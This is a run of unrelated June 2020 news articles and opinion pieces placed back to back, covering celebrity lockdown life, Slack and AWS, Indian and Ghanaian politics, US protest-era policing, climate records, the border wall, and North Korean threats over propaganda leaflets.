The Australian chef, 54, told Good Morning Britain with Lorraine that the newlyweds have been enjoying the chance to spend time together.

The Masterchef judge said: 'She's been a rock, we're great mates we do alright together.

Happy couple: John Torode says his new wife Lisa Faulkner has been his 'rock' during their time in lockdown

'We love food together, we cook, after six months of marriage you would hope so!'

Actor and presenter Lisa said: 'There's been times when John said "I'm gonna go for a walk", or the kids say we're gonna go for a walk, we give each other space.

'Home schooling is hard, but we've been really good together.'

Lockdown love: The Australian chef, 54, told Good Morning Britain with Lorraine that the newlyweds have been enjoying the chance to spend time together

Intense: Lisa joked at times John has taken a walk to give himself space but they have got on well during the months of lockdown

The happy couple also discussed their unusual six-month anniversary as Lisa cleaned the house in her wedding dress and John donned his marital suit during lockdown.

Lisa said: 'We decided to put our wedding gear on, I put my wedding dress on because I thought I'd never wear it again and six months in we had nothing else to do.

'Then John came down in his outfit which I didn't know he was doing to do, and we did our Instagram cook in our wedding gear.'

Bridal party: Lisa and John were feeling the love in lockdown as they marked their six-month wedding anniversary - and donned their wedding outfits

Fun: Lisa, 48, and her MasterChef judge love looked happy as they sported their Big Day outfits for a burger cooking tutorial

John replied: 'It was that time when everyone was feeling a bit naff, so we thought it would be nice to give something back, so we thought why not have a bit of fun and make everybody smile.'

The pair have been filming at home for their series John and Lisa's Weekend Kitchen.

The cooking show, airing on Sundays, has been filmed at the couple's home in north London.

Lisa said: 'We do forget the cameras are on us because we just chat.

'We did our own hair and makeup, nobody could go near us if we were on set, everything had to be done very quietly and very softly, it was difficult but we did it.'

Cooking together: The culinary couple have been presenting John and Lisa's Weekend Kitchen together during lockdown
Just as Slack reported quarterly earnings, it also announced a new agreement with Amazon. Under the terms of the deal Slack will keep using Amazon Web Services (AWS) as its preferred cloud provider  as it has since launching in 2014  and is shifting its Slack Calls feature to use Amazon Chime.

In case youve forgotten what Amazon Chime is, its the in-house teleconferencing tool the company revealed a few years ago. However, an exec told CNBC in an interview that it hadnt invested in creating a UI on the level of what Slack has, which is why in a world with Zoom, Skype and Google Meet you probably arent using it. Slack will rework its call technology to use Chimes backend service, so that it can work reliably and add new features  like mobile video and automatic transcriptions  easily.

On Amazons side, all employees will be able to use Slack, as the two companies line up to battle with Microsoft Teams over who will be a dominant provider for online collaboration.
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Itanagar/New Delhi, June 5 : The Indigenous Lawyers Association of India (ILAI) on Friday urged the Centre and Arunachal Pradesh government to scrap the proposed 3,097 MW capacity Dibang Valley hydroelectric power project to protect the environment and wildlife in the region.

The 3,097 MW capacity power plant proposed to be commissioned by Etalin Hydro Electric Power Company Limited, a joint venture between Jindal Power Limited and Arunachal Pradesh's Hydro Power Development Corporation.

The New Delhi-based ILAI in a statement said that at a time, the destruction of nature has been blamed for upheavals in the world including COVID-19 pandemic and green energy is being increasingly promoted, construction of outdated hydro-electric projects while destroying nature must be abandoned.

ILAI Coordinator Dilip Chakma said that the Dibang Valley project would divert 1,150.08 hectares of land, fell over 2.7 lakh trees, destroy rare flora and fauna, and would further destroy the culture and heritage of local indigenous communities, particularly, the Idu Mishmi tribes in the region.

"Apart from the Dibang Wildlife Sanctuary being the habitat of the tigers including snow tigers, in 2017, the Forest Advisory Committee (FAC) had recorded that project location preserves luxuriant forests and plethora of flora and fauna, and about six globally threatened mammal species out of which three are endangered and three are under the vulnerable category," Chakma pointed out.

He said about 680 bird species were recorded, which is about 56 per cent of total bird species of India. "Out of the 680 bird species, 19 are globally threatened, 10 near threatened, four critically endangered, two endangered, 13 vulnerable species and three very rare restricted range endemic bird species.

The ILAI said that the proposed area is critical for the conservation of globally threatened bird species and the entire region falls under the International Union for Conservation of Nature (IUCN) management categories III and IV, Endemic Bird Area, Global Biodiversity Hotspot, and Key Biodiversity Area indicating its importance on the global scale.

The Forest Advisory Committee, the apex body of the Union Forests and Environment Ministry had also stated in 2017 that "the land on which the project is proposed is in pristine forests with riverine growth that once cut cannot be replaced." "There are attempts to rewrite the findings of the FAC of 2017 which must be condemned. The Dibang Valley project must be abandoned to save the mother earth," Chakma added.
DISPUR: The Board of Secondary Education, Assam (SEBA) will declare the Assam HSLC Result 2020 for 10th Class students on Saturday (6th June, 2020).

According to Assam Education Minister Himanta Biswa Sarma, the HSLC Results will be announced by SEBA at 9 AM on Saturday.

After the official announcement of result, around 3.5 lakh students from Assam will be able to check their HSLC Class 10 exam results online.

In view of the COVID-19 situation, the board will release the Assam Class 10 Results only online in the form of digital mark sheets.

Once announced, SEBA Class 10 Results will be made available online on resultsassam.nic.in and sebaonline.org.

How to Check HSLC SEBA Result 2020 online

1. Visit the official website of the Assam Board i.e., sebaonline.org

2. Click on the link stating HSLC SEBA Result 2020.

3. Enter the credentials asked.

4. Click on the submit button.

5. Assam Board 10th Result 2020 will appear on your screen.

6. Download or take a printout of the Assam Board 10th Result 2020 published online.
Mayor Q Launches Po-Po Independent Review

Kansas City mayor announces new accountability measures for police KANSAS CITY, Mo. - Mayor Quinton Lucas has announced new measures focused on keeping police accountable by the city and the community through third-party agencies and resources.

All Is Forgiven From City Hall

Lucas announces new rules and a mayoral pardon Kansas City Mayor Quinton Lucas today announced several new oversight measures for the Kansas City Police Department, all of which were approved by the Board of Police Commissioners during an emergency Board meeting. "I have spent significant time listening to Kansas Citians this week, who all share this message: we're tired of waiting for change," said Mayor Lucas.

Kansas City Tear Gas Questions After Smoke Clears

KC mayor announces sweeping changes to KCPD protocols after community conversations After an emergency meeting of the Kansas City Board of Police Commissioners, police Chief Rick Smith has been ordered to conduct a review of the use of tear gas and other projectiles during the protests at the Country Club Plaza.Kansas City Mayor Quinton Lucas also announced a series of sweeping

Unity March Postscript

KCPD receives positive feedback from Unity March, reports fewer protest arrests KANSAS CITY, Mo. - Following a police and community march Wednesday, Kansas City, Missouri, police again reported a successful night of protests near the Country Club Plaza. KCPD spokesperson Sgt. Jacob Becchina said in an email that, "once again, tonight was our best night yet."

KCMO Citizen Media Protection

Kansas City Mayor Announces Police Reforms, Pardons Man Who Videotaped Incident That Led To Charges Against Officers Kansas City Mayor Quinton Lucas on Thursday announced a series of police reforms in the aftermath of tense protests that have exposed numerous grievances about police relations with the community.

Beg Your Pardon, Mayor Q!!!

Mayor Lucas announces changes coming to KCPD KANSAS CITY, MO (KCTV) - On Thursday, Mayor Quinton Lucas cast a positive light on recent protests. He also responded to protesters demanding accountability and reforms in our local police department. "We have continued to see better interactions between the police department and our protesters," he said.

WILL NEW RULES FOR PO-PO SATISFY PROTESTERS OR MAKE FUTURE DEMONSTRATIONS HARDER TO CONTROL?!?

File this move underfor activist demonstrators at least. Meanwhile, the news rules for authorities offer a glimpse at City Hall's increasingly adversarial relationship with with police despite public displays of solidarity.Here's the roundup of today's presser proclamation and then a question . . .Accordingly, we ask . . .You decide . . .
Kanye West just made a $2 million donation to support George Floyd's family and other African American people who have recently been killed by police in the US - including the creation of 529 college savings funds.

He's offered to pay the college tuition fees of Gianna Floyd, the daughter of George Floyd, who was killed last Monday at the hands of four Minneapolis Police officers.

After protests against racial injustice in the US and around the world, Kanye has also vowed to donate to black-owned businesses in his hometown of Chicago.

Meanwhile, a touching video of Floyd's daughter Gianna proclaiming that her "Daddy changed the world" has made waves on social media, and with this proposed funding coming from Kanye West, it appears Gianna is going to have all the tools to change the world herself.
(Bloomberg) -- Facebook Inc. said it removed two networks of accounts linked to white supremacy groups, but hasnt seen any attempted foreign interference on its platforms related to the recent Black Lives Matter protests across the U.S. targeting police brutality.

Attorney General William Barr said Thursday that the U.S. government has seen evidence of foreign actors playing all sides to exacerbate the violence. But Facebook officials said Friday they havent detected foreign influence on the social network. We have not yet seen or received evidence of foreign interference or coordinated inauthentic behavior targeting the protests, said Nathaniel Gleicher, head of cybersecurity policy at Facebook.

The social-media company, however, said it removed dozens of accounts linked to two white supremacy groups, Proud Boys and American Guard, which were organizing around the protests. The two groups had previously been banned from Facebook, but resurfaced.

These groups were planning to rally supporters and members to physically go on the ground to the protests, in some cases preparing to go with weapons, said Brian Fishman, Facebooks director for counter-terrorism and dangerous organizations.

Facebook officials also said they removed the accounts of some individual users who were posing as Antifa members to deceive the public. Specifically, Facebook took down a handful of largely dormant Pages and accounts that were linked to a Twitter account posing as an Antifa member to incite violence. Antifa is a loosely organized leftist movement that is a frequent target of conservative critics, who have accused it of fomenting violence during the recent protests. Facebook found the pages after Twitter officials reached out to share more information about the account, said Gleicher.

The executives comments came as Facebook released its monthly report on what it calls coordinated inauthentic behavior -- networks of accounts working together to artificially push a particular message or spam users. Facebook removed two such groups in May, including one with more than 400 Pages, and a total of 400 Facebook and Instagram accounts in Tunisia posing as local individuals and news organizations.

Story continues

A second network originating in Iraq that included 324 Pages and more than 100 Facebook and Instagram accounts was also removed.

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2020 Bloomberg L.P.
Last month was the warmest May on record with global temperatures 0.63C above average, according to the European Unions climate change monitor.

The last 12-month period also matched the hottest on record and was close to 0.7C warmer than average, the EUs Copernicus Climate Change Service (C3S) said.

It comes after the UK experienced its sunniest spring and driest May since records began.

Some parts of Siberia saw temperatures spike up to 10C above average, while parts of Alaska, South America and Antarctica also saw much warmer than average temperatures, C3S said.

May #temperature highlights from #Copernicus #C3S: Globally, it was the warmest May in our record, at 0.63C above averageAlthough May was colder than average in Europe, spring 2020 was overall 0.7C warmer than the norm More detailhttps://t.co/2gh0WRIv7A pic.twitter.com/tqCOKiceI2  Copernicus ECMWF (@CopernicusECMWF) June 5, 2020

Last summer, Siberia saw unprecedented intense wildfires and the warmer and drier conditions provide the ideal environment for fires to burn and persist, said scientist Mark Parrington, of the Copernicus Atmosphere Monitoring Service.

On Thursday, Russia declared a state of emergency after 20,000 tonnes of diesel spilled into a river near the Siberian city of Norilsk.

Despite the global increase in average temperatures, some regions saw below-average temperatures, including southern Brazil, parts of Canada, parts of southern Asia, and Australia, C3S added.

Story continues

While May was colder than average for Europe, spring was 0.7C above average overall, it said.

C3S said: Temperatures ranged from well above average over the south-west and far north-east of the continent, to well below average over a substantial region extending from Scandinavia to the Balkans and the northern coast of the Black Sea.

In April, a report from the UNs World Meteorological Organisation confirmed the past five years have been the hottest on record globally.

The state of the climate 2015-2019 report found: sea level rises are accelerating; Arctic sea ice, glaciers and ice sheets continue to decline; there has been an abrupt decrease in Antarctic sea ice; and more heat is being trapped in the oceans, harming life there, while heatwaves and wildfires are becoming an ever greater risk.

The findings are based on computer-generated analyses using billions of measurements from satellites, ships, aircraft and weather stations around the world, C3S said.

C3S is implemented by the European Centre for Medium-Range Weather Forecasts on behalf of the European Commission.
Democrats such as Joe Biden, Nancy Pelosi, Andrew Cuomo, and others who support abortion on demand should never invoke the Bible in their attacks on anyone.

Do they not understand the commandment that says, "Thou shall not murder"? They say they care about all human lives, so why not babies'? Where is the empathy? But then there is this:

Trump's and Biden's Church Visits Could Have Happened on Different Planets The former vice president ripped Trump for his violent Bible stunt. "I just wish he opened it once in a while instead of brandishing it," Biden said.

...and this...

What is this, a banana republic?' There is also this:

Pelosi unloads on Trump over tear-gassing of protesters outside White House "If you're going to hold up a Bible and stand in front of a church, then your message should be consistent with that Bible and those values. And of course, it was not," she said.

Why is there no outrage by the media, entertainers, and other Democrats that Planned Parenthood (PP) kills black and brown babies at a higher rate than their percentage of the population, especially since PP's founder was a racist who wanted birth control and eugenics to build a "cleaner" race. Why don't we have quotas on the number of babies aborted of each race, since the Democrats always support quotas?

A party that considers Planned Parenthood as essential while closing and intentionally destroying churches and other charitable organizations over the coronavirus fiasco should never invoke the Bible or pretend it cares about freedom of religion and the First Amendment.

The party that is soft on looters should not invoke the Bible since it says thou shall not steal.

The party that continually seeks to confiscate additional property and money from the wealthy and always invokes class envy should not invoke the Bible that says, "Thou shall not covet" thy neighbor's house or anything else.

Journalists and other Democrats who have continually lied about Russian collusion, Trump being a racist, what Trump said in Charlottesville, about rubber bullets and tear gas being used to disperse a crowd, to destroy Flynn, to destroy white Christian schoolboys from Kentucky, to destroy Judge Brett Kavanaugh, and many other things the last four years in order to destroy Trump and elect Democrats should never invoke the Bible. After all, the Bible says: "Thou shall not bear false witness against thy neighbor."

The party that supported Bill and Hillary no matter what they said or did should never claim that it cares about the Bible's teachings. Maybe the Democrats could list which of the Ten Commandments Bill Clinton obeyed. The list would be short.

Nothing that has gone on the past four years, including the violence and riots today, has anything to do with equality, racism, or systemic racism. Everything has to do with getting Trump out of the White House and getting leftist Democrats in power.

Biden has been in D.C. approximately fifty years, including eight in the White House, so why wasn't systemic racism taken care of then if he is the solution.

Trump got criminal justice reform done in his first three years. Why didn't Obama/Biden get it done in 2009/2010, when they had complete control of Congress, if it was important to them?

Trump's policies pushed blacks' and other minorities' employment to record levels and got wages moving up rapidly for those at the bottom. During the Obama/Biden years, their policies gave us the slowest economic recovery in seventy years and stagnant wages. So why would the solution be to go back to bigger government if the goal was to help minorities move up?

Heather Mac Donald has an article showing that racism among police is not systemic, but the media and other Democrats don't care about facts.

Why didn't reparations to blacks come up when Obama/Biden were in charge and when Democrats had complete charge of Congress in 2009/2010 if it is a priority? It appears that Democrats clearly want to use reparations as a "talking point" when they are trying to bribe blacks to vote for them instead of being serious.

Why didn't Antifa and others protest and destroy the Confederate statues during the Obama/Biden years if they were so oppressive and racist instead of waiting for a Republican to be president?

A party that intentionally keeps so much of the economy shut down after seeing good results in states opening has no empathy and invites chaos and riots from people who have nothing else to do and who have lost their jobs.

The party that has been in charge of most big cities for decades, had the White House for 28 out of the last sixty years, and has had significant majorities in Congress most of those years has intentionally kept minorities poor and dependent on government instead of having policies to help them move up. That party should never talk about empathy and pretend that now they are the solution. Like Biden, they believe they are entitled to minorities' votes and will use talking points in attempts to bribe them. Minorities should look at how the Democrats policies have held them down, including encouraging the breakup of families, when they vote instead of believing their empty policies. Why would anyone trust Democrats who have destroyed their cities to be the solution?

Moving toward bigger government will further harm the poor and minorities.

The choice is simple: if minorities want a chance to move up the economic ladder vote for Trump. If they want themselves and all their future generations to be dependent on government for their food, housing, and a minimal amount of spending money, vote for the people that most of the media campaign for, including Biden.

Image credit: Official photo.
Josephone Hilda Addo

05.06.2020 LISTEN

Mrs Josephine Hilda Addos aspiration of becoming an MP for Kwadaso constituency again has been shattered after she was disqualified by the party executives from contesting the upcoming parliamentary primaries.

Her dream couldnt come into reality as her party has deprived her of such a position based on complaints of her misconduct towards people regardless of their status.

Speaking with Adinkra Fm in Kumasi, the National Vice Chairman of the New Patriotic Party (NPP), Fredrick Freduah Antoh widely referred to as F.F Antoh said that Mrs. Josephine Hilda Addos disqualification was based on her disrespect for authority and people in higher authority. He added that the use of unprintable words by her on people discredits what the party stands for hence her outright disqualification from competing.

Her disqualification leaves the men, Mr. Vincent Yaw Frimpong Manu, Dr. Kingsley Nyarko and Dr. Samiu Kwadwo Nuamah to fight for the chair and one out of them will be declared winner, come 20th June 2020.

---ghgossip.com
Stating that the Bharatiya Janata Party (BJP) is all set for assembly elections in Jammu and Kashmir, Bharatiya Janata Partys national vice-president Avinash Rai Khanna said polls will be conducted as soon as delimitation process is done.

The pandemic has delayed the electoral process. If the situation normalises in sometime, we may have the election in 2020 itself, said Khanna while addressing a press conference in Ludhiana to list out the achievements of Prime Minister Narendra Modi-led central government that has completed one year in office.

He added that the second term of the Modi government has witnessed historical events and it was due to Modis strong leadership that the country managed to tackle the pandemic situation.

CONDEMNS CAPT AMARINDER SINGH

The BJP vice-president also hit out at Punjab chief minister Capt Amarinder Singh, stating that the government had burdened the residents of the state with hefty fines. He praised the local cloth manufacturing industries for becoming the wheel of change and helping the government in the battle against the pandemic.

He said that once the country has sufficient personal protective equipment (PPE) and face masks, the government would encourage its export.

HITS OUT AT RAJIV BAJAJ

The BJP leader also lashed out at industrialist Rajiv Bajaj who had criticised the nationwide lockdown.

He is not an expert on the pandemic. An opinion of single individual holds no value. We have to look after the well-being of the entire country. Besides, the lockdown was extended with some major relaxations, said Khanna.
After a last-minute scramble to pass the business lobbys top priority for the regular session, Republican legislators quickly realized they mangled the language of the bill aimed at limiting damage claims against insurance companies in car wreck lawsuits.

Now, GOP lawmakers are spending time in a 30-day special session that was supposed to focus on the budget and taxes amid the coronavirus pandemic instead trying to clean up their problems with Senate Bill 418 and to persuade Democratic Gov. John Bel Edwards to sign the changes into law.

The special session began on June 1, immediately after the regular session ended.

Supporters of the sweeping changes to Louisianas civil litigation system pitched the proposal, known as the Omnibus Premium Reduction Act of 2020, as a way to lower insurance rates by making it less lucrative to sue over car accidents. But in the flurry of final rewrites to the legislation amid negotiations with the Edwards administration, lawmakers added language that could cause even larger damage awards in some of those lawsuits.

Rep. Kirk Talbot, the River Ridge Republican who handled the so-called tort reform bill, downplayed the problem. He called it a mistake and said lawmakers can rewrite the problematic provision in a second bill in the special session and send that to Edwards.

Well be fine, Talbot said. Thats any easy tweak, and we know we have another 30 days.

But Edwards  whose allies and campaign contributors include personal injury lawyers  didnt say what action hell take on the first bill, if hell veto it or whether hell go along with the adjustments GOP lawmakers want to make.

Its apparent that the bill that Sen. Talbot authored managed to make absolutely nobody happy, which is sometimes the sign of a really good compromise, but I dont think thats what the issue is here, the governor said. But were going to take a good look at it.

Its unclear if Republican lawmakers could get the two-thirds House and Senate vote required to override an Edwards veto if the governor takes that action.

The Louisiana Association of Business and Industry, a primary backer of the legislation, is urging Edwards to sign the bill and work with lawmakers on the language fix.

If the governor vetoes the measure, LABI President Stephen Waguespack said in a statement on Twitter that he expects lawmakers to send additional measures to his desk during this special session, to ultimately fix Louisianas broken legal system and lower auto insurance rates.

The measure would force jury trials more frequently, so lawyers have to argue damage claims to more people than a single judge; cap certain damages that can be awarded; limit when insurance companies can be sued directly; and increase the time accident victims can file lawsuits to give more time for settlement negotiations. It also would allow information about whether someone was wearing a seatbelt as evidence in litigation.

Bill backers said those changes would lessen frivolous lawsuits over car accidents, which they said have driven up Louisianas automobile insurance rates to the nations second-highest. They said enacting changes that discourage the lawsuits and force down payouts would draw more insurers to the Louisiana market.

But the last-minute language error also could require the court to award certain damages that end up being more lucrative to those filing the lawsuits.

Conservative talk radio show host Moon Griffon lambasted Republican legislative leaders for the mistake, calling it an embarrassment that they rushed through a final version of the bill in the waning minutes of the regular session when it was supposed to be a priority.

They didnt even have time to read it, Griffon said. Its a horrible deal.

Opponents of the package of civil litigation system changes, largely lawyers and Democrats, argued the measure would keep people from getting money needed to cover their medical bills and could increase costs for courts. They also repeatedly pointed out the bill didnt mandate a drop in car insurance premiums.

Related:

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Lawsuits Legislation Auto Louisiana
An NYPD police officer sprays protesters during a march in Brooklyn, New York, May 30.

REUTERS/Eduardo Munoz

A New York police scanner broadcast voices advocating violence against protesters.

Audio clips of the communication have circulated on social media.

In one clip, someone says: "Shoot those motherf---ers," referring to the protesters. In another, someone says: "Run them over."

It's unclear whether the voices were those of police officers.

Visit Insider's homepage for more stories.

A citywide police scanner in New York broadcast communication that advocated violence against protesters on Monday night.

Audio clips of the communication, reported by Gothamist, have circulated widely on social media.

Around 6:20 p.m. on Monday, a person called in to the police radio describing a crowd of protesters marching toward the 77th Precinct in Brooklyn.

In the clip, a person says: "Shoot those motherf---ers."

"Don't put that over the air," another person replies.

In a second clip, someone describes a group of protesters marching toward an intersection in Brooklyn. "Central, we have a group of people blocking traffic on Albany and Dean street," the person says. "They're refusing to ... go eastbound on Dean Street and Albany, so we're stuck here."

Another person replies: "Run them over."

"The NYPD is aware of the transmission and it is under internal review," an NYPD spokesperson told Insider.

It is unclear who the people speaking on the scanner are, or if they are actually police officers. The spokesperson declined several requests for more information.

The audio clips have caused outrage online, especially in light of numerous reports of police violence since protests began.

On Saturday, NYPD officers drove two cruisers into a crowd of peaceful protesters. On Sunday, an NYPD officer pulled a gun on protesters.

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New York Attorney General Letitia James is investigating the police's treatment of protesters, she said in a statement on May 30.

Mayor Bill de Blasio initially defended the officers who drove into the crowd.

"It is inappropriate for protesters to surround a police vehicle and threaten police officers," he said. "That's wrong on its face and that hasn't happened in the history of protests in this city."

He recanted the next day, saying, "There is no situation where a police vehicle should drive into a crowd of protesters or New Yorkers of any kind. It is dangerous, it is unacceptable."

De Blasio swiftly condemned the officer who pulled his gun on protesters. "That officer should have his gun and badge taken away today," he said.

Read the original article on Insider
Thundershowers accompanied by lightning, gusty winds of up to 50 kmph were recorded in various parts of Delhi-NCR and north-west India on Friday. Light rain and cloudy skies are expected in Delhi -NCR and rest of the northern plains over the weekend also, according to the India Meteorological Department (IMD) authorities.

The inclement weather is because of a western disturbance that is affecting the western Himalayas and moisture incursion due to cyclone Nisarga, which hit the Maharashtra coast on Wednesday.

Many places in NCR got thundershowers. Palam recorded wind speed of 50 kmph. Light rain and thunder is likely over the weekend. There is no forecast for a heatwave for some time now in Delhi. Maximum temperatures may rise by three to four degrees Celsius after Saturday, but we are not expecting a heat wave till June 15, and after that, a heat wave is unlikely. Delhi may get rains again after June 10 due to the likely formation of a low-pressure area over Bay of Bengal, said Kuldeep Shrivastava, head, regional weather forecasting centre. Thunderstorm accompanied by lightning, gusty wind over the north-western region during the next two days and some heavy rainfall is also very likely over Uttarakhand, eastern Uttar Pradesh and southern Rajasthan during the next 24 hours, IMD said in its Friday bulletin.

Southwest monsoon has advanced into the central Arabian Sea, Kerala and Mahe and some parts of Karnataka. Conditions are becoming favourable for its advancement into parts of central Arabian Sea, Karnataka, Tamil Nadu, Puducherry and Karaikal, the bulletin added.
The Trump administration is asking companies to come up with ideas to make it more difficult for would-be infiltrators to saw through the presidents $15billion border wall along the frontier with Mexico.

US Customs and Border Protection put out a notice seeking input from federal contractors who have until June 12 to propose new measures that would prevent unauthorized migrants from scaling or penetrating the wall.

The new measures could include sensors and cameras that would warn authorities of attempts to scale the border, according to The Washington Post.

The federal agency is also looking at possibly using advanced paint technology that would enhance the ability of thermal sensors to recognize wall jumpers and improve detection.

People on the Mexican side of the US-Mexico border walk past a section of the border wall in Tijuana on March 23

The CBP denies that the notices are a tacit acknowledgment by the Trump administration that the barriers - which were initially touted as impenetrable by the president - and others are vulnerable to breaches.

We have an adaptive adversary; regardless of materials, nothing is impenetrable if given unlimited time and tools, the federal agency told The Washington Post.

Walls provide the US Border Patrol (USBP) the ability to slow and stop potential crossings.

That means building walls will deter some people from attempting to cross, while slowing the efforts of those who still try.

Last year, news reports showed video and images of people climbing over a new section of Trumps border wall with a rope ladder.

California photojournalist, J. Omar Ornelas posted a video last fall showing people easily climb over President Trump's border wall using a rope ladder

A stress test conducted by Homeland Security also found that simple hardware tools were capable of cutting through sections of the wall.

Earlier this year, strong wind gusts pushed over a small section of newly constructed fence separating the Mexican town of Mexicali with Calexico, California.

These instances have prompted CBP to rethink its original steel bollard design, which was selected from several proposed prototypes in 2017.

The 30ft-tall steel bollards are topped with flat metal anti-climb panels. These designs are being installed by private contractors at several locations along the border.

This is the most sophisticated border wall system we have ever built, but we will never disregard innovative and creative ideas that could continue to enhance border barriers, CBP said.

During the 2016 campaign, Trump promised to construct a barrier along the countrys southern border with Mexico.

But the administration has only been able to construct a fraction of the promised 500 miles of barriers that it hoped would be completed by 2021, according to The Washington Post.

Last year, the Department of Homeland Security found that readily available home improvement tools like saws could cut through the steel bollard border wall that President Trump wants to build

So far, nearly all of the new fencing built by the Trump administration - some 110 miles - has been replacement barriers in which smaller, older fencing has been torn down to make way for newer ones.

The administration has set a goal to complete 450 miles of new or converted barrier by the end of this year.

Progress has been slow due to the legal questions that are complicated by the fact large tracts of land along the US-Mexico frontier is privately owned.

The government has pledged to aggressively use eminent domain to take ownership of the land, but this, too, would have to be adjudicated in the courts - a process which could take years.

As Trump tries to win re-election, he will seek to tout parts of the completed barrier as a success.

Next week, the president is due to attend a ceremony in Yuma, Arizona, to mark the completion of the barriers 200th mile, officials told the Post.

Earlier this year, strong wind gusts pushed over a small section of newly constructed fence separating the Mexican town of Mexicali with Calexico, California

CBP has not publicly revealed the number of instances in which people have tried to breach the border.

The Post is reporting that there were 18 breaches in the San Diego region in a one-month period last fall.

The fencing around the San Diego area is considered among the most formidable barriers around.

Smugglers have managed to saw through the steel bollards using readily available home improvement tools.

Customs and Border Protection (CBP) recognizes that industry, other agencies, and other private entities may have interesting, innovative, and useful ideas that could be implemented to enhance and or improve mission essential operational deterrent capabilities related to the anti-climb/anti-cut features of the border wall and persistent impedance, the agency said in its notice to contractors.
Former Liberal justice minister and attorney general Irwin Cotler and Conservative MP Garnett Genuis speak after the screening of The Bleeding Edge in Ottawa on April 4, 2017. Genuis and Cotler are among co-chairs of the recently formed Inter-Parliamentary Alliance on China. (The Epoch Times)

Standing Together: Global Coalition Aims to Push Back Against Beijings Influence

Canadian MP Garnett Genuis and former attorney general Irwin Cotler among co-chairs

A new global coalition formed by several countries including Canada will endeavour to counter what they say is the threat Chinas growing influence poses to global trade, security, and human rights.

The Inter-Parliamentary Alliance on China (IPAC), announced on June 5, is composed of senior politicians from around the world including Canadian MP Garnett Genuis and former Canadian attorney general and justice minister Irwin Cotler.

Other members represent the United States, Australia, Germany, Japan, Norway, Sweden, the United Kingdom, and the European Parliament.

The groups stated mission is to increase collaboration between like-minded legislators to craft a proactive and strategic approach on issues related to China, according to its website.

What we once believed about Chinas rise no longer corresponds to reality, says a video of several members introducing the coalition.

We thought China would open up over time. This hasnt happened. In fact, today China is authoritarian at home and ever more assertive abroad.

The cross-party group describes its goals as safeguarding the international rules-based order, upholding human rights, promoting fair trade, strengthening security, and promoting national integrity.

Maintaining the international order is all of our responsibilities  by standing together we will be able to keep the rules-based and human-rights systems true to their founding purposes, says the IPAC video. Then, and only then, will we rise to the challenge.

The move by legislators is the latest in mounting international pushback against the Chinese regime, under scrutiny for its handling of the COVID-19 pandemic and increasingly aggressive international diplomacy.

Canada has been increasingly affected by Beijings strong-arm tactics in recent years, with restrictions placed on some Canadian goods and the detainment of Canadians Michael Spavor and Michael Kovrig after Canada arrested Huawei CFO Meng Wanzhou in Vancouver on an extradition request from U.S. authorities.

Other countries have also experienced retaliation for speaking out against Beijing.

Last month Australia saw Chinese tariffs imposed on some of its goods rise following its choice to investigate the origins of the virus outbreak. Chinese regime officials have also told major state-run agricultural companies to pause purchases of some American farm goods amid ongoing escalation of tensions with the United States over Hong Kong.

The coalition aims to push back against this type of hardball diplomacy from Beijing through strength in numbers, to counter the regimes ability to isolate a single country for retaliation.

When countries have stood up for democratic values and human rights, they have done so alonesometimes at great cost, the video says. No country should have to shoulder this burden alone.
It has been evident from the start that the reading down of Article 370 of the Constitution which ended J&Ks autonomy guaranteed by Indias Constituent Assembly, no less, had little to do with the formally proclaimed objectives of the Narendra Modi government, and everything to do with advancing the political agenda of the ruling BJP to install the partys chief minister in J&K  a dream of many decades in fulfillment of a communal agenda for Indias only Muslim-majority former state.

The continued detention of former chief minister Mehbooba Mufti, when several key figures, including two other former chief ministers, the father-son duo of Farooq and Omar, who carry the iconic Abdullah name and lead the National Conference, have been set free, seems a part of that design. On Wednesday, Shah Faesal, a former bureaucrat-turned politician, a high-profile individual yet to come into his own politically, was released, besides a key figure of Ms Muftis party, the PDP.

Ending terrorism and promoting rapid economic development (although J&K is better placed than many states on most development parameters) were the announced objectives behind changing J&Ks constitutional status. Ten months after the inglorious event, and the subsequent creation of two Union Territories  J&K and Ladakh  the administration of the UT of J&K stands pretty much paralysed  and exposed for its conspicuous failure to perform on the development front.

In truth, the only department which has worked is the home department and the police, the latter as junior partners in the national security grid underpinned by the Army and the paramilitary forces.

Thousands of individuals, including the former states most consequential political leaders as well as nine-year old children, were placed in detention. This was an act of state intimidation of the populace, pure and simple, intended to serve as prelude to the next Assembly election, expected to be held after the creation of a few more constituencies in the largely Hindu Jammu region through a delimitation exercise, which is expected to get underway after a few lakh non-Muslim voters are added through the exercise of handing out domicile certificates to several new categories.

Shortly before being packed away in jail last August, the principal regional mainstream political players, including Ms Mufti, had met at the residence of Dr Farooq Abdullah to pass the Gupkar Declaration, at the heart of which lay the sentiment of exalting J&Ks autonomy. In light of this it is not surprising that the Abdullahs have made repeated demands for the release of their erstwhile regional rival, Ms Mufti. Omar Abdullah reiterated the demand after Mr Faesal was freed on Wednesday. When his father, Dr Abdullah, an ailing 80-year old, had been set free in March, the latter had stated unequivocally that his party would take further political decisions only after consulting Ms Mufti upon her release.

In spite of this, an under-the-breath rumour has been floated  thanks to the separatist elements  that the Abdullahs are out because they have done a secret deal with the BJP, while Ms Mufti has not. This suits BJP perfectly. Degrading National Conference, J&Ks most consequential party, before an important election, and disrupting any foreseeable electoral unity between NC and PDP, is likely to be at the top of its mind.
San Antonio police dispelled rumors of an active shooter downtown on Friday afternoon.

"Please be advised that there is a Twitter post stating theres an active shooter at Travis Park, this is not the case, there is not an active shooter at Travis Park," a San Antonio Police Department spokesperson said.

Shortly after 4 p.m. Friday, several Twitter posts claimed that someone was shooting at the downtown park.

Protests against police brutality are taking place downtown and will continue into the evening.
Kim Yo-jong, the sister of North Korean Supreme Leader Kim Jong-un, has called defectors human scum and mongrel dogs for flying hot air balloons carrying anti-Pyongyang propaganda across the border from the South. She has threatened to cancel a military deal with Seoul.

South Korea may ban defectors from flying anti-Pyongyang leaflets into the North, officials said on Thursday, hours after leader Kim Jong-un's sister threatened to scrap a military agreement with Seoul.

Kim Yo-jong, the influential younger sister and key adviser to the leader, issued the warning at a time when inter-Korean ties are in the deep freeze, despite three summits in 2018 between her brother and southern president Moon Jae-in, who has consistently been favorable to closer engagement with Pyongyang.

But North Korean defectors and other activists have long flown balloons across the border carrying leaflets that criticise Kim over human rights abuses and his nuclear ambitions.

The Supreme Sister does not approve.

On 31 May I heard a report that so-called 'defectors from the North' scattered hundreds of thousands of anti-Democratic People's Republic of Korea leaflets into the areas on our side of the frontline areas, she writes in a statement published by the state-run Korean Central News Agency (KCNA).

